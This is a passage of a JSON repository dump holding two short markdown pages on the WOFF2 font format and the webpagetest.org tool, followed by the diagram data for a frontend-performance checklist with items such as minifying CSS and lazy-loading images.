    "content": "# Use WOFF 2.0 Web Font\n\nAccording to Google, the WOFF 2.0 Web Font compression format offers 30% average gain over WOFF 1.0. It's then good to use WOFF 2.0, WOFF 1.0 as a fallback and TTF.\n\nCheck before buying your new font that the provider gives you the WOFF2 format. If you are using a free font, you can always use Font Squirrel to generate all the formats you need.\n\n- [WOFF 2.0 – Learn more about the next generation Web Font Format and convert TTF to WOFF2](https://gist.github.com/sergejmueller/cf6b4f2133bcb3e2f64a)\n- [Create Your Own @font-face Kits » Font Squirrel](https://www.fontsquirrel.com/tools/webfont-generator)\n- [IcoMoon App - Icon Font, SVG, PDF & PNG Generator](https://icomoon.io/app/)\n- [Using @font-face | CSS-Tricks](https://css-tricks.com/snippets/css/using-font-face/?ref=frontendchecklist)\n- [Can I use... WOFF2](https://caniuse.com/#feat=woff2)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/web-page-test.md",
    "content": "# webpagetest.org\n\nWebpagetest.org is a website performance testing tool that allows users to test the load time and performance of web pages. It provides a wealth of information about the page load, including load time, Speed Index, and filmstrip view of the page load, as well as a breakdown of the page components and their load times. It also allows for testing from multiple locations and browsers. The test results can be shared and compared with others. It is widely used by developers, marketers, and website owners to improve the performance and user experience of their websites.\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/frontend-performance.json",
    "content": "{\"mockup\":{\"controls\":{\"control\":[{\"ID\":\"15137\",\"typeID\":\"Arrow\",\"zOrder\":\"0\",\"w\":\"1\",\"h\":\"81\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"814\",\"y\":\"1843\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"stroke\":\"dotted\",\"color\":\"10027263\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":0,\"y\":81.09090909090901}}},{\"ID\":\"15138\",\"typeID\":\"Arrow\",\"zOrder\":\"1\",\"w\":\"1\",\"h\":\"90\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"1118\",\"y\":\"1511\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"stroke\":\"dotted\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":89.20412121212144}}},{\"ID\":\"15139\",\"typeID\":\"Arrow\",\"zOrder\":\"2\",\"w\":\"606\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"816\",\"y\":\"1510\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"p0\":{\"x\":0.4393939393939945,\"y\":0},\"p1\":{\"x\":0.499957866859274,\"y\":0.000355669369753909},\"p2\":{\"x\":606.8787878787878,\"y\":0},\"color\":\"4273622\"}},{\"ID\":\"15140\",\"typeID\":\"Arrow\",\"zOrder\":\"3\",\"w\":\"1\",\"h\":\"79\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"469\",\"y\":\"1309\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":78.78896363636386},\"stroke\":\"dotted\"}},{\"ID\":\"15141\",\"typeID\":\"Arrow\",\"zOrder\":\"4\",\"w\":\"726\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"816\",\"y\":\"1052\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.2686368305519409,\"y\":0},\"p1\":{\"x\":0.5001077701859017,\"y\":0.0003391382343339101},\"p2\":{\"x\":725.5310311167375,\"y\":0}}},{\"ID\":\"15142\",\"typeID\":\"Arrow\",\"zOrder\":\"5\",\"w\":\"1252\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"225\",\"y\":\"413\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.49994495226877456,\"y\":0.0003335799224988863},\"p2\":{\"x\":1252,\"y\":0},\"color\":\"4273622\"}},{\"ID\":\"15143\",\"typeID\":\"Canvas\",\"zOrder\":\"6\",\"w\":\"189\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"375\",\"y\":\"389\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"15145\",\"typeID\":\"Label\",\"zOrder\":\"9\",\"measuredW\":\"327\",\"measuredH\":\"40\",\"x\":\"686\",\"y\":\"226\",\"properties\":{\"text\":\"Frontend Performance\",\"size\":\"32\"}},{\"ID\":\"15146\",\"typeID\":\"Canvas\",\"zOrder\":\"10\",\"w\":\"361\",\"h\":\"150\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1099\",\"y\":\"158\"},{\"ID\":\"15147\",\"typeID\":\"Label\",\"zOrder\":\"11\",\"measuredW\":\"332\",\"measuredH\":\"26\",\"x\":\"1115\",\"y\":\"176\",\"properties\":{\"text\":\"Find the detailed version of this checklist\",\"size\":\"18\"}},{\"ID\":\"15148\",\"typeID\":\"Label\",\"zOrder\":\"12\",\"measuredW\":\"318\",\"measuredH\":\"26\",\"x\":\"1115\",\"y\":\"204\",\"properties\":{\"size\":\"18\",\"text\":\"With details on how to implement these\"}},{\"ID\":\"15151\",\"typeID\":\"Canvas\",\"zOrder\":\"14\",\"w\":\"373\",\"h\":\"169\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"236\",\"y\":\"148\"},{\"ID\":\"15152\",\"typeID\":\"__group__\",\"zOrder\":\"15\",\"measuredW\":\"191\",\"measuredH\":\"27\",\"w\":\"191\",\"h\":\"27\",\"x\":\"266\",\"y\":\"222\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh/frontend\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"158\",\"measuredH\":\"26\",\"x\":\"33\",\"y\":\"0\",\"properties\":{\"size\":\"18\",\"text\":\"Frontend Roadmap\"}},{\"ID\":\"1\",\"typeID\":\"__group__\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"w\":\"24\",\"h\":\"24\",\"x\":\"0\",\"y\":\"3\",\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Icon\",\"zOrder\":\"0\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16777215\",\"icon\":{\"ID\":\"circle\",\"size\":\"small\"}}},{\"ID\":\"1\",\"typeID\":\"Icon\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"10066329\",\"icon\":{\"ID\":\"check-circle\",\"size\":\"small\"}}}]}}}]}}},{\"ID\":\"15153\",\"typeID\":\"__group__\",\"zOrder\":\"16\",\"measuredW\":\"202\",\"measuredH\":\"27\",\"w\":\"202\",\"h\":\"27\",\"x\":\"266\",\"y\":\"258\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh/javascript\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"169\",\"measuredH\":\"26\",\"x\":\"33\",\"y\":\"0\",\"properties\":{\"size\":\"18\",\"text\":\"JavaScript Roadmap\"}},{\"ID\":\"1\",\"typeID\":\"__group__\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"w\":\"24\",\"h\":\"24\",\"x\":\"0\",\"y\":\"3\",\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Icon\",\"zOrder\":\"0\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16777215\",\"icon\":{\"ID\":\"circle\",\"size\":\"small\"}}},{\"ID\":\"1\",\"typeID\":\"Icon\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"10066329\",\"icon\":{\"ID\":\"check-circle\",\"size\":\"small\"}}}]}}}]}}},{\"ID\":\"15154\",\"typeID\":\"Label\",\"zOrder\":\"17\",\"measuredW\":\"209\",\"measuredH\":\"32\",\"x\":\"266\",\"y\":\"172\",\"properties\":{\"size\":\"24\",\"text\":\"Related Roadmaps\"}},{\"ID\":\"15155\",\"typeID\":\"Arrow\",\"zOrder\":\"18\",\"w\":\"1\",\"h\":\"76\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"812\",\"y\":\"134\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":0,\"y\":76.17275043077757},\"stroke\":\"dotted\",\"color\":\"10027263\"}},{\"ID\":\"15157\",\"typeID\":\"__group__\",\"zOrder\":\"20\",\"measuredW\":\"481\",\"measuredH\":\"28\",\"w\":\"481\",\"h\":\"28\",\"x\":\"907\",\"y\":\"472\",\"properties\":{\"controlName\":\"minify-html\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"481\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Minified HTML - Remove comments and whitespaces\"}}]}}},{\"ID\":\"15159\",\"typeID\":\"__group__\",\"zOrder\":\"22\",\"measuredW\":\"271\",\"measuredH\":\"28\",\"w\":\"271\",\"h\":\"28\",\"x\":\"907\",\"y\":\"511\",\"properties\":{\"controlName\":\"use-cdn\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"271\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"text\":\"Use Content Delivery Network\",\"size\":\"20\"}}]}}},{\"ID\":\"15161\",\"typeID\":\"__group__\",\"zOrder\":\"24\",\"measuredW\":\"274\",\"measuredH\":\"28\",\"w\":\"274\",\"h\":\"28\",\"x\":\"903\",\"y\":\"1121\",\"properties\":{\"controlName\":\"pre-load-urls-where-possible\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"274\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Pre-load URLs where possible\"}}]}}},{\"ID\":\"15163\",\"typeID\":\"__group__\",\"zOrder\":\"26\",\"measuredW\":\"461\",\"measuredH\":\"28\",\"w\":\"461\",\"h\":\"28\",\"x\":\"301\",\"y\":\"514\",\"properties\":{\"controlName\":\"minify-css\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"461\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Minified CSS - Remove comments, whitespaces etc\"}}]}}},{\"ID\":\"15165\",\"typeID\":\"__group__\",\"zOrder\":\"28\",\"measuredW\":\"307\",\"measuredH\":\"28\",\"w\":\"307\",\"h\":\"28\",\"x\":\"903\",\"y\":\"1158\",\"properties\":{\"controlName\":\"concatenate-css-single-file\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"307\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Concatenate CSS into a single file\"}}]}}},{\"ID\":\"15167\",\"typeID\":\"__group__\",\"zOrder\":\"30\",\"measuredW\":\"237\",\"measuredH\":\"28\",\"w\":\"237\",\"h\":\"28\",\"x\":\"301\",\"y\":\"553\",\"properties\":{\"controlName\":\"make-css-files-non-blocking\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"237\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"CSS files are non-blocking\"}}]}}},{\"ID\":\"15169\",\"typeID\":\"__group__\",\"zOrder\":\"32\",\"measuredW\":\"191\",\"measuredH\":\"28\",\"w\":\"191\",\"h\":\"28\",\"x\":\"904\",\"y\":\"1201\",\"properties\":{\"controlName\":\"remove-unused-css\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"191\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Remove unused CSS\"}}]}}},{\"ID\":\"15171\",\"typeID\":\"__group__\",\"zOrder\":\"34\",\"measuredW\":\"389\",\"measuredH\":\"28\",\"w\":\"389\",\"h\":\"28\",\"x\":\"301\",\"y\":\"592\",\"properties\":{\"controlName\":\"inline-critical-css\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"389\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Inline the Critical CSS (above the fold CSS)\"}}]}}},{\"ID\":\"15173\",\"typeID\":\"__group__\",\"zOrder\":\"36\",\"measuredW\":\"299\",\"measuredH\":\"28\",\"w\":\"299\",\"h\":\"28\",\"x\":\"301\",\"y\":\"632\",\"properties\":{\"controlName\":\"avoid-inline-css\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"299\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Avoid the embedded / inline CSS\"}}]}}},{\"ID\":\"15175\",\"typeID\":\"__group__\",\"zOrder\":\"38\",\"measuredW\":\"279\",\"measuredH\":\"28\",\"w\":\"279\",\"h\":\"28\",\"x\":\"301\",\"y\":\"671\",\"properties\":{\"controlName\":\"analyse-stylesheets-complexity\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"279\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Analyse stylesheets complexity\"}}]}}},{\"ID\":\"15177\",\"typeID\":\"__group__\",\"zOrder\":\"40\",\"measuredW\":\"213\",\"measuredH\":\"28\",\"w\":\"213\",\"h\":\"28\",\"x\":\"904\",\"y\":\"1245\",\"properties\":{\"controlName\":\"use-woff2-font-format\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"213\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use WOFF2 font format\"}}]}}},{\"ID\":\"15179\",\"typeID\":\"__group__\",\"zOrder\":\"42\",\"measuredW\":\"362\",\"measuredH\":\"28\",\"w\":\"362\",\"h\":\"28\",\"x\":\"905\",\"y\":\"1285\",\"properties\":{\"controlName\":\"use-preconnect-to-load-fonts\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"362\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use preconnect to load your fonts faster\"}}]}}},{\"ID\":\"15181\",\"typeID\":\"__group__\",\"zOrder\":\"44\",\"measuredW\":\"326\",\"measuredH\":\"28\",\"w\":\"326\",\"h\":\"28\",\"x\":\"905\",\"y\":\"1324\",\"properties\":{\"controlName\":\"keep-web-font-under-300k\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"326\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Keep the web font size under 300kb\"}}]}}},{\"ID\":\"15183\",\"typeID\":\"__group__\",\"zOrder\":\"46\",\"measuredW\":\"269\",\"measuredH\":\"28\",\"w\":\"269\",\"h\":\"28\",\"x\":\"905\",\"y\":\"1364\",\"properties\":{\"controlName\":\"prevent-flash-text\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"269\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Prevent Flash or Invisible Text\"}}]}}},{\"ID\":\"15185\",\"typeID\":\"__group__\",\"zOrder\":\"48\",\"measuredW\":\"458\",\"measuredH\":\"28\",\"w\":\"458\",\"h\":\"28\",\"x\":\"301\",\"y\":\"707\",\"properties\":{\"controlName\":\"compress-your-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"458\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Compress your images / keep the image count low\"}}]}}},{\"ID\":\"15187\",\"typeID\":\"__group__\",\"zOrder\":\"50\",\"measuredW\":\"362\",\"measuredH\":\"28\",\"w\":\"362\",\"h\":\"28\",\"x\":\"301\",\"y\":\"747\",\"properties\":{\"controlName\":\"choose-image-format-approprietly\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"362\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Choose your image format appropriately\"}}]}}},{\"ID\":\"15189\",\"typeID\":\"__group__\",\"zOrder\":\"52\",\"measuredW\":\"477\",\"measuredH\":\"28\",\"w\":\"477\",\"h\":\"28\",\"x\":\"907\",\"y\":\"551\",\"properties\":{\"controlName\":\"prefer-vector-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"477\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Prefer using vector image rather than bitmap images\"}}]}}},{\"ID\":\"15191\",\"typeID\":\"__group__\",\"zOrder\":\"54\",\"measuredW\":\"501\",\"measuredH\":\"28\",\"w\":\"501\",\"h\":\"28\",\"x\":\"907\",\"y\":\"591\",\"properties\":{\"controlName\":\"set-width-height-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"501\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Set width and height attributes on images (aspect ratio)\"}}]}}},{\"ID\":\"15193\",\"typeID\":\"__group__\",\"zOrder\":\"56\",\"measuredW\":\"251\",\"measuredH\":\"28\",\"w\":\"251\",\"h\":\"28\",\"x\":\"907\",\"y\":\"631\",\"properties\":{\"controlName\":\"avoid-base64-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"251\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Avoid using Base64 images\"}}]}}},{\"ID\":\"15195\",\"typeID\":\"__group__\",\"zOrder\":\"58\",\"measuredW\":\"311\",\"measuredH\":\"28\",\"w\":\"311\",\"h\":\"28\",\"x\":\"907\",\"y\":\"671\",\"properties\":{\"controlName\":\"load-offscreen-images-lazily\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"311\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Offscreen images are loaded lazily\"}}]}}},{\"ID\":\"15197\",\"typeID\":\"__group__\",\"zOrder\":\"60\",\"measuredW\":\"516\",\"measuredH\":\"28\",\"w\":\"516\",\"h\":\"28\",\"x\":\"907\",\"y\":\"711\",\"properties\":{\"controlName\":\"serve-exact-size-images\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"516\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Ensure to serve images that are close to your display size\"}}]}}},{\"ID\":\"15201\",\"typeID\":\"__group__\",\"zOrder\":\"64\",\"measuredW\":\"450\",\"measuredH\":\"28\",\"w\":\"450\",\"h\":\"28\",\"x\":\"907\",\"y\":\"751\",\"properties\":{\"controlName\":\"avoid-multiple-inline-js-snippets\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"450\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Avoid multiple inline JavaScript snippets <script> \"}}]}}},{\"ID\":\"15203\",\"typeID\":\"__group__\",\"zOrder\":\"66\",\"measuredW\":\"391\",\"measuredH\":\"28\",\"w\":\"391\",\"h\":\"28\",\"x\":\"301\",\"y\":\"827\",\"properties\":{\"controlName\":\"use-non-blocking-javascript\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"391\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Non Blocking JavaScript: Use async / defer\"}}]}}},{\"ID\":\"15205\",\"typeID\":\"__group__\",\"zOrder\":\"68\",\"measuredW\":\"323\",\"measuredH\":\"28\",\"w\":\"323\",\"h\":\"28\",\"x\":\"907\",\"y\":\"792\",\"properties\":{\"controlName\":\"keep-dependencies-up-to-date\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"323\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Keep your dependencies up to date\"}}]}}},{\"ID\":\"15207\",\"typeID\":\"__group__\",\"zOrder\":\"70\",\"measuredW\":\"375\",\"measuredH\":\"28\",\"w\":\"375\",\"h\":\"28\",\"x\":\"905\",\"y\":\"1404\",\"properties\":{\"controlName\":\"check-dependency-size\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"375\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Keep an eye on the size of dependencies\"}}]}}},{\"ID\":\"15209\",\"typeID\":\"__group__\",\"zOrder\":\"72\",\"measuredW\":\"502\",\"measuredH\":\"28\",\"w\":\"502\",\"h\":\"28\",\"x\":\"907\",\"y\":\"835\",\"properties\":{\"controlName\":\"analyze-js-for-perf-issues\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"502\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Check for performance problems in your JavaScript files\"}}]}}},{\"ID\":\"15211\",\"typeID\":\"__group__\",\"zOrder\":\"74\",\"measuredW\":\"481\",\"measuredH\":\"28\",\"w\":\"481\",\"h\":\"28\",\"x\":\"908\",\"y\":\"874\",\"properties\":{\"controlName\":\"use-service-workers-for-caching\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"481\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Service Workers for caching / performing heavy tasks\"}}]}}},{\"ID\":\"15213\",\"typeID\":\"__group__\",\"zOrder\":\"76\",\"measuredW\":\"249\",\"measuredH\":\"28\",\"w\":\"249\",\"h\":\"28\",\"x\":\"301\",\"y\":\"871\",\"properties\":{\"controlName\":\"use-https-on-your-website\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"249\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Use HTTPs on your website\"}}]}}},{\"ID\":\"15215\",\"typeID\":\"__group__\",\"zOrder\":\"78\",\"measuredW\":\"469\",\"measuredH\":\"28\",\"w\":\"469\",\"h\":\"28\",\"x\":\"302\",\"y\":\"912\",\"properties\":{\"controlName\":\"page-weight-below-1500\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"469\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Keep your page weight < 1500 KB (ideally < 500 kb)\"}}]}}},{\"ID\":\"15217\",\"typeID\":\"__group__\",\"zOrder\":\"80\",\"measuredW\":\"350\",\"measuredH\":\"28\",\"w\":\"350\",\"h\":\"28\",\"x\":\"302\",\"y\":\"952\",\"properties\":{\"controlName\":\"page-load-time-below-3s\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"350\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Keep your page load time < 3 seconds\"}}]}}},{\"ID\":\"15219\",\"typeID\":\"__group__\",\"zOrder\":\"82\",\"measuredW\":\"380\",\"measuredH\":\"28\",\"w\":\"380\",\"h\":\"28\",\"x\":\"302\",\"y\":\"993\",\"properties\":{\"controlName\":\"keep-ttfb-less-1-3s\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"380\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Keep the Time To First Byte < 1.3 seconds\"}}]}}},{\"ID\":\"15221\",\"typeID\":\"__group__\",\"zOrder\":\"84\",\"measuredW\":\"391\",\"measuredH\":\"28\",\"w\":\"391\",\"h\":\"28\",\"x\":\"907\",\"y\":\"917\",\"properties\":{\"controlName\":\"cookie-size-less-4096-bytes\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"391\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Cookie size should be less than 4096 bytes\"}}]}}},{\"ID\":\"15223\",\"typeID\":\"__group__\",\"zOrder\":\"86\",\"measuredW\":\"320\",\"measuredH\":\"28\",\"w\":\"320\",\"h\":\"28\",\"x\":\"908\",\"y\":\"960\",\"properties\":{\"controlName\":\"keep-cookie-count-below-20\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"320\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Keep the cookie count less than 20\"}}]}}},{\"ID\":\"15225\",\"typeID\":\"__group__\",\"zOrder\":\"88\",\"measuredW\":\"229\",\"measuredH\":\"28\",\"w\":\"229\",\"h\":\"28\",\"x\":\"303\",\"y\":\"1036\",\"properties\":{\"controlName\":\"minimize-http-requests\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"229\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Minimize HTTP Requests\"}}]}}},{\"ID\":\"15227\",\"typeID\":\"__group__\",\"zOrder\":\"90\",\"measuredW\":\"309\",\"measuredH\":\"28\",\"w\":\"309\",\"h\":\"28\",\"x\":\"303\",\"y\":\"1076\",\"properties\":{\"controlName\":\"use-same-protocol\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"309\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Serve files from the same protocol\"}}]}}},{\"ID\":\"15229\",\"typeID\":\"__group__\",\"zOrder\":\"92\",\"measuredW\":\"367\",\"measuredH\":\"28\",\"w\":\"367\",\"h\":\"28\",\"x\":\"303\",\"y\":\"1116\",\"properties\":{\"controlName\":\"avoid-404-files\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"367\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Avoid requesting unreachable files 